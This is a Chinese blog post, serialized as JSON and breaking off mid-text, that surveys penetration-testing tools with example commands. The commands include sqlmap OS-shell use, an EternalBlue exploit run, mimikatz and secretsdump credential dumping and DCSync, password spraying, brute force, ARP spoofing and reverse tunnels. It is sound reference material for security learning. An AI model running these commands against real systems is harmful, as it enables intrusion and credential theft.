[{"data":1,"prerenderedAt":1172},["ShallowReactive",2],{"content:\u002F2026\u002Ftool-review":3,"surround:\u002F2026\u002Ftool-review":1166},{"id":4,"title":5,"body":6,"categories":1144,"date":1146,"description":15,"draft":1147,"extension":1148,"image":1149,"meta":1150,"navigation":1152,"path":1153,"permalink":1153,"published":1154,"readingTime":1155,"recommend":1028,"references":1154,"seo":1160,"sitemap":1161,"stem":1162,"tags":1163,"type":1164,"updated":1154,"__hash__":1165},"content\u002Fposts\u002F2026\u002F网安工具大盘点.md","工具盘点",{"type":7,"value":8,"toc":1024},"minimark",[9,16,20,24,28,31,42,45,48,54,57,60,66,69,72,78,81,84,90,93,96,102,105,108,114,117,120,126,129,140,143,146,149,155,158,161,167,171,179,182,185,188,194,197,200,206,210,213,217,220,223,226,230,233,237,241,244,247,275,278,281,284,287,293,296,299,305,308,311,317,320,323,329,333,339,345,348,351,354,357,363,366,370,373,379,383,387,390,393,396,399,402,405,408,411,414,420,424,427,433,436,439,445,448,451,457,465,468,471,474,480,483,486,492,495,498,501,507,511,514,520,523,526,532,535,539,542,548,551,554,562,566,573,576,579,582,585,591,595,598,601,604,607,620,623,626,632,635,638,644,647,665,669,672,675,679,682,688,694,698,712,715,719,722,728,731,734,740,743,747,750,769,772,775,779,786,790,793,799,802,805,809,812,816,826,830,833,837,840,843,851,855,865,868,872,887,890,893,896,899,902,908,912,922,925,929,939,943,953,957,971,974,978,981,985,988,992,995,998,1001,1004,1008,1011,1015,1018,1021],[10,11,12],"p",{},[13,14,15],"span",{},"TOC",[17,18,19],"h1",{"id":19},"工具总结",[21,22,23],"h2",{"id":23},"信息收集",[25,26,27],"h3",{"id":27},"nmap",[10,29,30],{},"最经典的主机发现与端口扫描工具，几乎是所有渗透测试的第一步。",[32,33,39],"pre",{"className":34,"code":36,"language":37,"meta":38},[35],"language-bash","# 基本扫描\nnmap -sS -sV -p 1-65535 192.168.1.1\n\n# 操作系统探测 + 脚本扫描\nnmap -A -T4 192.168.1.1\n\n# 内网存活发现\nnmap -sn 192.168.1.0\u002F24\n\n# 导出 XML 给 Metasploit 使用\nnmap -sS -sV -oX scan.xml 192.168.1.1\n","bash","",[40,41,36],"code",{"__ignoreMap":38},[25,43,44],{"id":44},"masscan",[10,46,47],{},"号称\"互联网最快的端口扫描器\"，使用自定义 TCP\u002FIP 协议栈，几分钟扫完整个互联网。适合大规模资产测绘。",[32,49,52],{"className":50,"code":51,"language":37,"meta":38},[35],"# 扫描整个 C 段\nmasscan -p80,443,8080 192.168.1.0\u002F24 --rate=10000\n\n# 扫描常见端口并输出\nmasscan -p1-65535 192.168.1.1 --rate=1000 -oJ output.json\n",[40,53,51],{"__ignoreMap":38},[25,55,56],{"id":56},"naabu",[10,58,59],{},"新一代端口扫描器，Go 语言编写，速度快且支持多种协议探测（TCP\u002FUDP\u002FTLS），适合配合自动化流水线使用。",[32,61,64],{"className":62,"code":63,"language":37,"meta":38},[35],"# 全端口扫描\nnaabu -host 192.168.1.1 -p -\n\n# 从文件读取目标\nnaabu -list targets.txt -p 80,443,8080\n\n# 输出给 httpx 使用\nnaabu -host 192.168.1.1 -json | httpx\n",[40,65,63],{"__ignoreMap":38},[25,67,68],{"id":68},"httpx",[10,70,71],{},"HTTP 探测工具，用于快速识别 Web 服务，获取状态码、标题、技术栈等信息。",[32,73,76],{"className":74,"code":75,"language":37,"meta":38},[35],"# 基础探测\nhttpx -l subdomains.txt -title -tech-detect -status-code\n\n# 带指纹识别\nhttpx -l targets.txt -favicon -hash sha256 -jarm\n\n# 截图保存\nhttpx -l targets.txt -screenshot -screenshot-dir .\u002Fscreenshots\n",[40,77,75],{"__ignoreMap":38},[25,79,80],{"id":80},"subfinder",[10,82,83],{},"子域名发现工具，利用被动源（证书透明度、搜索引擎、DNS 数据集等）快速收集子域名。",[32,85,88],{"className":86,"code":87,"language":37,"meta":38},[35],"# 基础枚举\nsubfinder -d example.com\n\n# 输出给 httpx 验证存活\nsubfinder -d example.com -silent | httpx\n",[40,89,87],{"__ignoreMap":38},[25,91,92],{"id":92},"ksubdomain",[10,94,95],{},"无状态子域名爆破工具，通过 DNS 解析验证子域名存活，速度极快。",[32,97,100],{"className":98,"code":99,"language":37,"meta":38},[35],"# 基础爆破\nksubdomain enum -d example.com -f subnames.txt\n\n# 验证存活\nksubdomain verify -f subdomains.txt\n",[40,101,99],{"__ignoreMap":38},[25,103,104],{"id":104},"gau",[10,106,107],{},"Get All URLs——从 AlienVault OTX、Wayback Machine、CommonCrawl 等源收集目标历史 URL。",[32,109,112],{"className":110,"code":111,"language":37,"meta":38},[35],"# 收集所有已知 URL\ngau example.com\n\n# 去重后输出\ngau example.com | sort -u > urls.txt\n\n# 配合 nuclei 检测漏洞\ngau example.com | sort -u | nuclei\n",[40,113,111],{"__ignoreMap":38},[25,115,116],{"id":116},"katana",[10,118,119],{},"新一代爬虫工具，Go 语言实现，支持单页应用（SPA）爬取，自动提取表单\u002F参数\u002F路径，非常适合配合被动扫描器使用。",[32,121,124],{"className":122,"code":123,"language":37,"meta":38},[35],"# 基本爬取\nkatana -u https:\u002F\u002Fexample.com\n\n# 爬取并输出给 nuclei\nkatana -u https:\u002F\u002Fexample.com -silent | nuclei\n",[40,125,123],{"__ignoreMap":38},[25,127,128],{"id":128},"子域名接管",[10,130,131,132,135,136,139],{},"子域名接管检测。当 DNS 记录指向已失效的第三方服务（如未使用的云服务实例）时，攻击者可注册同名服务接管子域名。常用工具包括 ",[40,133,134],{"code":134},"subjack"," 和 ",[40,137,138],{"code":138},"can-i-take-over-xyz","。",[21,141,142],{"id":142},"内网扫描与资产测绘",[25,144,145],{"id":145},"fscan",[10,147,148],{},"内网综合扫描工具，适合拿到入口后快速内网信息收集：存活探测、端口扫描、服务识别、MS17010 检测、Web 指纹一把梭。",[32,150,153],{"className":151,"code":152,"language":37,"meta":38},[35],"# 扫描单个 IP 默认端口\nfscan -h 192.168.1.1\n\n# 扫描 C 段\nfscan -h 192.168.1.0\u002F24\n\n# 组合拳：主机存活 + 全端口 + 漏洞扫描\nfscan -h 192.168.1.0\u002F24 -p 1-65535 -np\n",[40,154,152],{"__ignoreMap":38},[25,156,157],{"id":157},"gogo",[10,159,160],{},"内网渗透扫描器，功能类似 fscan 但更注重扫描速度和插件化，适合大网段快速定位脆弱点。",[32,162,165],{"className":163,"code":164,"language":37,"meta":38},[35],"# 默认扫描\ngogo -i 192.168.1.0\u002F24\n\n# 指定端口和线程数\ngogo -i 192.168.1.1 -p 1-65535 -t 1000\n",[40,166,164],{"__ignoreMap":38},[25,168,170],{"id":169},"shodan-fofa-censys","shodan \u002F fofa \u002F censys",[10,172,173,174,178],{},"网络空间测绘搜索引擎。Shodan 扫设备\u002FBanner，",[175,176,177],"strong",{},"Fofa"," 是国内同类产品检索域名\u002F端口\u002FBanner。攻击面管理中用于大规模资产探查。",[21,180,181],{"id":181},"漏洞扫描",[25,183,184],{"id":184},"nuclei",[10,186,187],{},"漏洞模板扫描引擎，基于 YAML 的 POC 模板，社区活跃，POC 库极其丰富（5000+ 模板）。",[32,189,192],{"className":190,"code":191,"language":37,"meta":38},[35],"# 使用所有模板扫描\nnuclei -u https:\u002F\u002Fexample.com -t nuclei-templates\u002F\n\n# 只扫描高危漏洞\nnuclei -l targets.txt -s critical,high\n\n# 扫描特定 CVE\nnuclei -u https:\u002F\u002Fexample.com -t cves\u002F2024\u002F\n",[40,193,191],{"__ignoreMap":38},[25,195,196],{"id":196},"xray",[10,198,199],{},"长亭科技出品的被动漏洞扫描器，社区版免费但功能强大。通过代理流量被动分析，支持 SQL 注入、命令注入、XSS、SSRF 等检测。",[32,201,204],{"className":202,"code":203,"language":37,"meta":38},[35],"# 基础监听\nxray webscan --listen 127.0.0.1:7777\n\n# 配合浏览器使用，设置代理为 127.0.0.1:7777 即可\n",[40,205,203],{"__ignoreMap":38},[25,207,209],{"id":208},"zap-zed-attack-proxy","zap (Zed Attack Proxy)",[10,211,212],{},"OWASP 的免费 Web 安全扫描器，类似 Burp Suite 的主动扫描 + 被动扫描，自带爬虫、Ajax 蜘蛛、Fuzzer、WebSocket 测试。可作为自动化的 DAST 工具嵌入 CI\u002FCD 流程。",[25,214,216],{"id":215},"awvs-acunetix","awvs (Acunetix)",[10,218,219],{},"商业 Web 漏洞扫描器，自动爬取 + 深度扫描，检测 SQL 注入\u002FXSS\u002FSSRF\u002FRCE 等。准确率较高，支持生成合规报告。附带盲注入验证（带外 DNS 追踪）。",[25,221,222],{"id":222},"nessus",[10,224,225],{},"商业漏洞扫描器，传统漏洞管理首选。内置 70000+ 插件，覆盖系统漏洞、配置合规、Web 安全、数据库安全等。",[25,227,229],{"id":228},"openvas-greenbone","openvas (Greenbone)",[10,231,232],{},"开源漏洞扫描器，Nessus 的开源替代品，适合预算有限的团队。",[21,234,236],{"id":235},"web-应用测试","Web 应用测试",[25,238,240],{"id":239},"burp-suite","burp suite",[10,242,243],{},"Web 安全测试的事实标准。Community 版免费，Professional 版支持全自动化扫描。核心功能：代理拦截、Repeater（请求重放）、Intruder（暴力测试）、Scanner（自动扫描）、Collaborator（外带检测）。",[10,245,246],{},"插件生态丰富，推荐：",[248,249,250,257,263,269],"ul",{},[251,252,253,256],"li",{},[175,254,255],{},"Autorize"," — 越权检测自动化",[251,258,259,262],{},[175,260,261],{},"Turbo Intruder"," — 高速并发暴力测试（HTTP 管道复用）",[251,264,265,268],{},[175,266,267],{},"Logger++"," — 增强日志记录",[251,270,271,274],{},[175,272,273],{},"HaE"," — 高亮标记敏感信息",[25,276,277],{"id":277},"yakit",[10,279,280],{},"Yaklang 团队的 Web 安全测试平台，国内开发，类似 Burp Suite 但更贴合国人习惯，支持 MITM 交互式劫持、插件化扫描、模糊测试。",[25,282,283],{"id":283},"sqlmap",[10,285,286],{},"SQL 注入自动化利用工具，功能极其全面：自动检测、数据枚举、文件读写、命令执行、提权等。",[32,288,291],{"className":289,"code":290,"language":37,"meta":38},[35],"# 基础检测\nsqlmap -u \"http:\u002F\u002Fexample.com\u002Fpage.php?id=1\"\n\n# 指定注入类型\nsqlmap -u \"http:\u002F\u002Fexample.com\u002Fpage.php?id=1\" --technique=BEUST\n\n# 枚举数据库\nsqlmap -u \"http:\u002F\u002Fexample.com\u002Fpage.php?id=1\" --dbs\n\n# 使用 POST 请求\nsqlmap -r request.txt --os-shell\n\n# 过 WAF（tamper 脚本）\nsqlmap -u \"http:\u002F\u002Fexample.com\u002Fpage.php?id=1\" --tamper=space2comment,charencode --random-agent\n",[40,292,290],{"__ignoreMap":38},[25,294,295],{"id":295},"dirsearch",[10,297,298],{},"Web 目录\u002F路径爆破工具，多线程请求 + 字典匹配来发现隐藏路径。",[32,300,303],{"className":301,"code":302,"language":37,"meta":38},[35],"# 基本扫描\ndirsearch -u https:\u002F\u002Fexample.com -e php,asp,aspx,jsp\n\n# 递归扫描\ndirsearch -u https:\u002F\u002Fexample.com -r --deep-recursive\n\n# 使用自定义字典\ndirsearch -u https:\u002F\u002Fexample.com -w \u002Fpath\u002Fto\u002Fwordlist.txt\n",[40,304,302],{"__ignoreMap":38},[25,306,307],{"id":307},"ffuzz",[10,309,310],{},"Go 语言编写的 Web Fuzz 工具，速度极快，不仅能爆破目录，还能 FUZZ 各种参数。",[32,312,315],{"className":313,"code":314,"language":37,"meta":38},[35],"# 目录爆破\nffuf -u https:\u002F\u002Fexample.com\u002FFUZZ -w wordlist.txt\n\n# POST 参数 Fuzz\nffuf -u https:\u002F\u002Fexample.com\u002Fapi -X POST -d '{\"user\":\"FUZZ\"}' -w wordlist.txt -H \"Content-Type: application\u002Fjson\"\n\n# 子域名枚举\nffuf -u http:\u002F\u002FFUZZ.example.com -w subdomains.txt\n",[40,316,314],{"__ignoreMap":38},[25,318,319],{"id":319},"dalfox",[10,321,322],{},"参数化 XSS 扫描器，可自动在任何 URL 参数处注入 Payload 测试反射型 XSS。",[32,324,327],{"className":325,"code":326,"language":37,"meta":38},[35],"# 单 URL 扫描\ndalfox url https:\u002F\u002Fexample.com\u002F?q=FUZZ\n\n# 批量扫描\ncat urls.txt | dalfox pipe\n\n# 使用自定义 Payload\ndalfox url https:\u002F\u002Fexample.com\u002F?q=FUZZ --user-payload payload.txt\n",[40,328,326],{"__ignoreMap":38},[25,330,332],{"id":331},"dnslog-ysoserial","dnslog \u002F ysoSerial",[10,334,335,338],{},[175,336,337],{},"DNSLog","：DNS 带外数据收集平台。在盲注、SSRF、命令注入等无回显场景下通过 DNS 请求验证漏洞存在。",[10,340,341,344],{},[175,342,343],{},"ysoserial","：Java 反序列化漏洞利用 Payload 生成器，支持 30+ 利用链（CommonsCollections\u002FSpring\u002FShiro 等）。",[25,346,347],{"id":347},"godnslog",[10,349,350],{},"Go 实现的自建 DNS\u002FHTTP 外带日志系统。相比公共 DNSLog 平台更私密可控。",[25,352,353],{"id":353},"githacker",[10,355,356],{},"公开 GitHub 仓库信息泄露检测。自动搜寻仓库中泄露的密码\u002F密钥\u002FToken。",[32,358,361],{"className":359,"code":360,"language":37,"meta":38},[35],"githacker --url https:\u002F\u002Fgithub.com\u002Fxxx\u002Frepo --output-folder result\u002F\n",[40,362,360],{"__ignoreMap":38},[21,364,365],{"id":365},"漏洞利用",[25,367,369],{"id":368},"metasploit-msf","metasploit (MSF)",[10,371,372],{},"最知名的渗透测试框架，集漏洞扫描 + 漏洞利用 + 后渗透于一体。模块按用途分为 exploit、auxiliary、post、payload 等。",[32,374,377],{"className":375,"code":376,"language":37,"meta":38},[35],"# 启动控制台\nmsfconsole\n\n# 搜索模块\nsearch smb\n\n# 使用 exploit\nuse exploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue\nset RHOSTS 192.168.1.1\nrun\n\n# 批量扫描漏洞\nuse auxiliary\u002Fscanner\u002Fsmb\u002Fsmb_ms17_010\nset RHOSTS 192.168.1.0\u002F24\nrun\n",[40,378,376],{"__ignoreMap":38},[21,380,382],{"id":381},"c2-框架","C2 框架",[25,384,386],{"id":385},"cobalt-strike","cobalt strike",[10,388,389],{},"商业 C2 框架，红队行动标配。Beacon 模式支持 HTTP\u002FHTTPS\u002FDNS\u002FSMB 等多种通信协议。主要功能：会话管理、横向移动、凭据提取、权限持久化、免杀生成。",[10,391,392],{},"非开源商业软件，需购买 License。",[25,394,395],{"id":395},"sliver",[10,397,398],{},"BishopFox 开源的 C2 框架，多协议支持（MTLS、WG、HTTP(S)、DNS），多平台 Implant 生成（Windows\u002FLinux\u002FmacOS），内置丰富的红队工具链。免费且持续更新。",[25,400,401],{"id":401},"mythic",[10,403,404],{},"开源 C2 框架，Docker 部署、Web UI 管理、跨平台 Agent。可安装第三方 Agent 扩展，支持 HTTP、WebSocket 等通信方式，界面友好。",[21,406,407],{"id":407},"内网渗透与域安全",[25,409,410],{"id":410},"impacket",[10,412,413],{},"Python 实现的 Windows 网络协议工具包，处理 SMB\u002FMSRPC\u002FSAMR\u002FNetlogon 等协议。常用于：凭据提取（secretsdump）、横向移动（wmiexec\u002Fpsexec\u002Fsmbexec）、Kerberos 攻击等。",[32,415,418],{"className":416,"code":417,"language":37,"meta":38},[35],"# 导出 SAM\nsecretsdump.py administrator:Password@192.168.1.1\n\n# 远程执行命令\nwmiexec.py administrator:Password@192.168.1.1\n\n# DCSync 攻击\nsecretsdump.py domain\u002Fadmin:Pass@192.168.1.1 -just-dc-user krbtgt\n",[40,419,417],{"__ignoreMap":38},[25,421,423],{"id":422},"nxc-netexec","nxc (netExec)",[10,425,426],{},"新一代网络服务利用工具，是 CrackMapExec 的继任者。支持 SMB\u002FSSH\u002FWinRM\u002FRDP\u002FLDAP 等多协议，凭据喷洒、命令执行、信息枚举一条龙。",[32,428,431],{"className":429,"code":430,"language":37,"meta":38},[35],"# SMB 存活扫描\nnxc smb 192.168.1.0\u002F24\n\n# 凭据喷洒\nnxc smb 192.168.1.0\u002F24 -u administrator -p Password123\n\n# 执行命令\nnxc smb 192.168.1.0\u002F24 -u admin -p 'Pass' -x 'whoami'\n",[40,432,430],{"__ignoreMap":38},[25,434,435],{"id":435},"responder",[10,437,438],{},"LLMNR\u002FNBT-NS\u002FmDNS 欺骗工具，内网渗透必备。通过监听并欺骗名称解析请求来捕获 Net-NTLM 哈希。",[32,440,443],{"className":441,"code":442,"language":37,"meta":38},[35],"# 基础监听\nresponder -I eth0\n\n# 仅监听不做攻击\nresponder -I eth0 -A\n\n# 捕获后使用 hashcat 破解\nhashcat -m 5600 hash.txt \u002Fpath\u002Fto\u002Fwordlist\n",[40,444,442],{"__ignoreMap":38},[25,446,447],{"id":447},"bloodhound",[10,449,450],{},"AD 域关系图分析工具，通过图数据库分析域内权限关系，可视化攻击路径。SharpHound 收集数据 → BloodHound 分析展示。",[10,452,453,456],{},[175,454,455],{},"SharpHound"," 收集器：",[32,458,463],{"className":459,"code":461,"language":462,"meta":38},[460],"language-powershell","# Windows 上收集\nSharpHound.exe -c All\n","powershell",[40,464,461],{"__ignoreMap":38},[10,466,467],{},"分析结果可直观看到从当前权限到域管理员的攻击路径。",[25,469,470],{"id":470},"mimikatz",[10,472,473],{},"凭据提取神器，从 Windows 内存中提取密码哈希、明文密码、PIN 码、Kerberos 票据。内网渗透最重要的工具之一。",[32,475,478],{"className":476,"code":477,"language":37,"meta":38},[35],"# 提取所有凭据\nmimikatz.exe \"privilege::debug\" \"sekurlsa::logonpasswords\"\n\n# 导出票据\nmimikatz.exe \"privilege::debug\" \"sekurlsa::tickets \u002Fexport\"\n\n# DCSync 模拟\nmimikatz.exe \"lsadump::dcsync \u002Fuser:krbtgt\"\n",[40,479,477],{"__ignoreMap":38},[25,481,482],{"id":482},"evil-winrm",[10,484,485],{},"Windows 远程管理（WinRM）连接工具，比普通 WinRM 更好用（文件上传\u002F内存加载等）。",[32,487,490],{"className":488,"code":489,"language":37,"meta":38},[35],"evil-winrm -i 192.168.1.1 -u administrator -p 'Password'\n",[40,491,489],{"__ignoreMap":38},[21,493,494],{"id":494},"密码攻击",[25,496,497],{"id":497},"hydra",[10,499,500],{},"在线密码暴力破解工具，支持 50+ 协议（SSH\u002FFTP\u002FHTTP\u002FRDP\u002FMySQL 等）。",[32,502,505],{"className":503,"code":504,"language":37,"meta":38},[35],"# SSH 爆破\nhydra -l root -P pass.txt ssh:\u002F\u002F192.168.1.1\n\n# HTTP POST 表单爆破\nhydra -l admin -P pass.txt 192.168.1.1 http-post-form \"\u002Flogin.php:user=^USER^&pass=^PASS^:Login failed\"\n\n# 多线程 HTTP 爆破\nhydra -L users.txt -P pass.txt 192.168.1.1 http-get\n",[40,506,504],{"__ignoreMap":38},[25,508,510],{"id":509},"john-the-ripper","john the ripper",[10,512,513],{},"老牌密码破解工具，支持几乎所有哈希格式。CPU 模式破解，配合规则集效率高。",[32,515,518],{"className":516,"code":517,"language":37,"meta":38},[35],"# 自动检测哈希类型\njohn hash.txt\n\n# 指定格式破解\njohn --format=NT hash.txt --wordlist=rockyou.txt\n\n# 显示已破解结果\njohn --show hash.txt\n",[40,519,517],{"__ignoreMap":38},[25,521,522],{"id":522},"hashcat",[10,524,525],{},"GPU 加速密码破解，速度远超 John。支持 300+ 哈希类型，充分利用显卡并行计算。",[32,527,530],{"className":528,"code":529,"language":37,"meta":38},[35],"# NTLM 哈希破解\nhashcat -m 1000 hash.txt rockyou.txt\n\n# Net-NTLMv2 破解\nhashcat -m 5600 hash.txt rockyou.txt\n\n# 掩码攻击（8 位数字）\nhashcat -m 1000 hash.txt -a 3 ?d?d?d?d?d?d?d?d\n",[40,531,529],{"__ignoreMap":38},[21,533,534],{"id":534},"代理与隧道",[25,536,538],{"id":537},"proxifier-proxychains","proxifier \u002F proxychains",[10,540,541],{},"代理链工具。Proxifier 是 GUI 应用，强制指定程序走代理；Proxychains 是 Linux 命令行工具，Hook 网络函数实现进程级别的代理转发。",[32,543,546],{"className":544,"code":545,"language":37,"meta":38},[35],"# proxychains 配置 \u002Fetc\u002Fproxychains4.conf 后\nproxychains4 nmap -sT -Pn 10.0.0.1\nproxychains4 msfconsole\n",[40,547,545],{"__ignoreMap":38},[25,549,550],{"id":550},"frp",[10,552,553],{},"反向代理\u002F内网穿透工具。客户端 frpc 映射端口到 frps。",[32,555,560],{"className":556,"code":558,"language":559,"meta":38},[557],"language-ini","# frpc.ini\n[common]\nserver_addr = your_vps_ip\nserver_port = 7000\n\n[ssh]\ntype = tcp\nlocal_ip = 127.0.0.1\nlocal_port = 22\nremote_port = 6000\n","ini",[40,561,558],{"__ignoreMap":38},[25,563,565],{"id":564},"cloudflare-tunnel-argo","cloudflare tunnel (Argo)",[10,567,568,569,572],{},"利用 Cloudflare CDN 建立隧道（cloudflared），隐藏真实服务器 IP。同样用途：",[175,570,571],{},"NPS","（轻量内网穿透服务端\u002F客户端模式）。",[25,574,575],{"id":575},"iox",[10,577,578],{},"Go 语言端口转发工具，支持 TCP、UDP 级端口转发，适合多层内网代理场景。",[25,580,581],{"id":581},"chisel",[10,583,584],{},"Go 实现的快速 TCP\u002FUDP 隧道，HTTP 传输，适合受限环境下的反向端口转发。",[32,586,589],{"className":587,"code":588,"language":37,"meta":38},[35],"# 服务端\nchisel server -p 8080 --reverse\n\n# 客户端（反向代理内网端口到服务端）\nchisel client vps:8080 R:1080:socks\n",[40,590,588],{"__ignoreMap":38},[25,592,594],{"id":593},"shadowsocks-v2ray-clash","shadowsocks \u002F v2ray \u002F clash",[10,596,597],{},"代理工具，渗透测试中常用于隐藏 C2 流量（Nginx 前置伪装）、代理池轮换扫描源 IP。",[21,599,600],{"id":600},"网络分析",[25,602,603],{"id":603},"wireshark",[10,605,606],{},"网络协议分析器，抓包\u002F过滤\u002F解码\u002F统计一把抓。渗透测试中常用于：流量劫持分析、明文密码捕获、协议逆向。支持 3000+ 协议解析。",[10,608,609,610,613,614,613,617,139],{},"过滤语法：",[40,611,612],{"code":612},"http.request.method == \"POST\"","、",[40,615,616],{"code":616},"ip.src == 192.168.1.1",[40,618,619],{"code":619},"tcp.port == 4444",[25,621,622],{"id":622},"tcpdump",[10,624,625],{},"命令行网络抓包工具，Linux 标配。适合无图形界面的服务器环境。",[32,627,630],{"className":628,"code":629,"language":37,"meta":38},[35],"# 抓取指定接口流量\ntcpdump -i eth0 -w capture.pcap\n\n# 过滤 HTTP 流量\ntcpdump -i eth0 port 80\n\n# 实时查看包内容\ntcpdump -i eth0 -A port 80\n",[40,631,629],{"__ignoreMap":38},[25,633,634],{"id":634},"bettercap",[10,636,637],{},"模块化 MITM 框架，WiFi 嗅探、蓝牙探测、密码学混淆识别、DNS 欺骗、HTTP\u002FHTTPS 透明代理等。Go 语言 + Web UI。",[32,639,642],{"className":640,"code":641,"language":37,"meta":38},[35],"# HTTP\u002FHTTPS 代理\nbettercap -eval \"set arp.spoof.targets 192.168.1.100; arp.spoof on; net.sniff on\"\n\n# WiFi 扫描\nbettercap -eval \"wifi.recon on\"\n",[40,643,641],{"__ignoreMap":38},[25,645,646],{"id":646},"aircrack-ng",[10,648,649,650,653,654,657,658,661,662,664],{},"WiFi 安全测试套件：",[40,651,652],{"code":652},"airmon-ng","（开启监听模式）、",[40,655,656],{"code":656},"airodump-ng","（抓包）、",[40,659,660],{"code":660},"aireplay-ng","（注入攻击）、",[40,663,646],{"code":646},"（破解密钥）。",[25,666,668],{"id":667},"charles-fiddler","charles \u002F fiddler",[10,670,671],{},"HTTP\u002FHTTPS 抓包调试代理工具（GUI）。Charles 支持 Map Local\u002FRemote（请求改写）、断点修改、SSL 代理；Fiddler 支持脚本扩展。两者都适合移动端抓包。",[21,673,674],{"id":674},"提权",[25,676,678],{"id":677},"linpeas-winpeas","linpeas \u002F winPEAS",[10,680,681],{},"Linux\u002FWindows 提权信息收集脚本（Privilege Escalation Awesome Scripts），自动检查系统配置、服务权限、SUID 文件、计划任务等潜在提权点。",[32,683,686],{"className":684,"code":685,"language":37,"meta":38},[35],"# Linux 端\n.\u002Flinpeas.sh | tee linpeas_report.txt\n",[40,687,685],{"__ignoreMap":38},[10,689,690,691,139],{},"Powershell 端直接运行 ",[40,692,693],{"code":693},"Invoke-PEAS.ps1",[25,695,697],{"id":696},"gtfobins-lolbas","GTFOBins \u002F LOLBAS",[248,699,700,706],{},[251,701,702,705],{},[175,703,704],{},"GTFOBins","：Unix 二进制文件的\"合法滥用\"——列出可通过常见系统命令进行提权、文件读写、反弹 Shell 的方法。",[251,707,708,711],{},[175,709,710],{},"LOLBAS","：与 GTFOBins 对应，Windows 版的 Living-off-the-land Binaries 清单。",[10,713,714],{},"两个都是在线查询网站，不是下载工具。",[25,716,718],{"id":717},"pkexec-pwnkit","pkexec (PwnKit)",[10,720,721],{},"利用 Polkit 的 pkexec 权限提升漏洞（CVE-2021-4034），影响绝大多数 Linux 发行版。",[32,723,726],{"className":724,"code":725,"language":37,"meta":38},[35],"# 确认有漏洞后\n.\u002FPwnKit\n",[40,727,725],{"__ignoreMap":38},[25,729,730],{"id":730},"linux-exploit-suggester",[10,732,733],{},"Linux 内核提权建议脚本，根据内核版本匹配已知本地提权 Exploit。",[32,735,738],{"className":736,"code":737,"language":37,"meta":38},[35],".\u002Flinux-exploit-suggester.sh\n",[40,739,737],{"__ignoreMap":38},[21,741,742],{"id":742},"逆向工程",[25,744,746],{"id":745},"ida-pro","ida pro",[10,748,749],{},"交互式反汇编器，逆向工程事实标准。功能极其强大：Hex-Rays 反编译器（F5 生成伪代码）、Python\u002FIDC 脚本、远程调试、固件分析。付费专业版 + MIPS\u002FARM 等架构渲染。",[10,751,752,753,756,757,760,761,764,765,768],{},"常用插件：",[175,754,755],{},"Findcrypt","（识别加密常量）、",[175,758,759],{},"Keypatch","（修补二进制）、",[175,762,763],{},"Ponce","（符号执行污点分析）、",[175,766,767],{},"D810","（反混淆）。",[25,770,771],{"id":771},"ghidra",[10,773,774],{},"NSA 开源的逆向框架，Java 实现跨平台。内置反编译器、反汇编、变体搜索。免费替代 IDA 的首选。",[25,776,778],{"id":777},"x64dbg-ollydbg","x64dbg \u002F ollydbg",[10,780,781,782,785],{},"Windows 平台动态调试器。x64dbg 支持 32\u002F64 位程序，OllyDbg 面向 32 位。功能：断点、内存修改、汇编补丁、跟踪分析。",[175,783,784],{},"ScyllaHide"," 插件用于绕过反调试。",[25,787,789],{"id":788},"gdb-peda-pwndbg-gef","gdb + peda \u002F pwndbg \u002F gef",[10,791,792],{},"Linux 平台调试\"全家桶\"。GDB 是 GNU 调试器；PEDA\u002FPwndbg\u002FGEF 为 Python 扩展，专为 PWN 和逆向优化，显示寄存器\u002F堆栈\u002Fglibc 信息。",[32,794,797],{"className":795,"code":796,"language":37,"meta":38},[35],"gdb .\u002Fbinary\n# Pwndbg 插件下常用命令\nb *main              # 断点\nr                    # 运行\nvmmap                # 显示内存映射\nheap                 # 分析堆结构\n",[40,798,796],{"__ignoreMap":38},[25,800,801],{"id":801},"radare2",[10,803,804],{},"开源逆向框架，命令行操作，功能强大。包含分析\u002F反汇编\u002F调试\u002F十六进制编辑\u002F二进制补丁，适合自动化逆向流水线。",[25,806,808],{"id":807},"die-detect-it-easy","die (Detect It Easy)",[10,810,811],{},"文件类型检测器，识别编译器\u002F打包器\u002F加密器\u002F保护壳，逆向工程第一步。远超 PEiD。",[25,813,815],{"id":814},"upx-pe-bear","upx \u002F pe-bear",[10,817,818,821,822,825],{},[175,819,820],{},"UPX","：开源可执行文件压缩壳（加壳\u002F脱壳），常用于减小体积或增加分析难度。",[175,823,824],{},"PE-bear","：PE 文件结构查看器，深度查看 PE 头\u002F节表\u002F导入导出表。",[25,827,829],{"id":828},"ollydumpex-scylla","ollyDumpEx \u002F scylla",[10,831,832],{},"转储 + 重建导入表的工具，配合 OllyDbg\u002Fx64dbg 手动脱壳使用。Scylla 是 ImpREC 的现代替代品。",[21,834,836],{"id":835},"二进制安全与-pwn","二进制安全与 PWN",[25,838,839],{"id":839},"pwntools",[10,841,842],{},"Python 库，CTF PWN 题的主力工具。封装了远程连接、数据处理、ROP 链构建、Shellcode 生成、格式化字符串利用等功能。",[32,844,849],{"className":845,"code":847,"language":848,"meta":38},[846],"language-python","from pwn import *\np = remote('challenge.example.com', 1337)\np.sendlineafter(b'name:', b'admin')\np.interactive()\n","python",[40,850,847],{"__ignoreMap":38},[25,852,854],{"id":853},"checkmate-angr","checkmate \u002F angr",[10,856,857,860,861,864],{},[175,858,859],{},"Checkmate","：Ghidra 插件，通过符号执行定位 Python 原生类调用从而实现混合语言分析。",[175,862,863],{},"Angr","：Python 符号执行框架，自动求解约束条件，常用于 CTF 自动化解题（符号执行找输入绕过验证）。",[21,866,867],{"id":867},"恶意软件分析",[25,869,871],{"id":870},"procmon-procexp-autoruns-sysinternals","procmon \u002F procexp \u002F autoruns (Sysinternals)",[10,873,874,875,878,879,882,883,886],{},"Windows 系统调试工具集。",[175,876,877],{},"ProcMon"," 监控进程\u002F线程\u002F注册表\u002F文件系统事件；",[175,880,881],{},"ProcExp"," 进程管理器可定位句柄\u002FDLL 注入；",[175,884,885],{},"Autoruns"," 分析所有自启动项（配合 VirusTotal 扫描）。",[25,888,889],{"id":889},"yara",[10,891,892],{},"恶意软件识别\u002F分类规则引擎。根据二进制或文本模式写规则，匹配已知恶意软件特征。每篇 APT 分析报告中几乎都有 YARA 规则。",[21,894,895],{"id":895},"取证分析",[25,897,898],{"id":898},"volatility",[10,900,901],{},"内存取证框架，分析内存转储（.vmem\u002F.raw\u002F.dmp），提取进程列表、网络连接、注册表、恶意代码注入点、明文凭据等。",[32,903,906],{"className":904,"code":905,"language":37,"meta":38},[35],"# 识别镜像配置文件\nvolatility -f memory.dmp imageinfo\n\n# 列出进程\nvolatility -f memory.dmp --profile=Win7SP1x64 pslist\n\n# 